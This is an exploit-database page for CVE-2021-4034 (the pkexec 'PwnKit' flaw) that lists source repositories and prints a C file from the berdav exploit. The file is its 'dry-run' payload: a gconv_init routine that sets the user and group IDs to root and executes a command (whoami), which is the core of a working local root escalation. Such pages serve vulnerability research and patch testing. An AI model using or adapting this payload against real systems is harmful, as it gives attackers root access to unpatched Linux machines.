Exploit databaseDownload repository ZIP
GH-912cdc7bd4588c95cc96c545f3b358e3
berdav/cve-2021-4034
Sources for CVE-2021-4034
144 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
berdav/cve-2021-4034Revision 55d60e381ef9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
dry-run/pwnkit-dry-run.c
C · 258 bytes#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { WHOAMI, NULL };
char * const environ[] = { NULL };
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}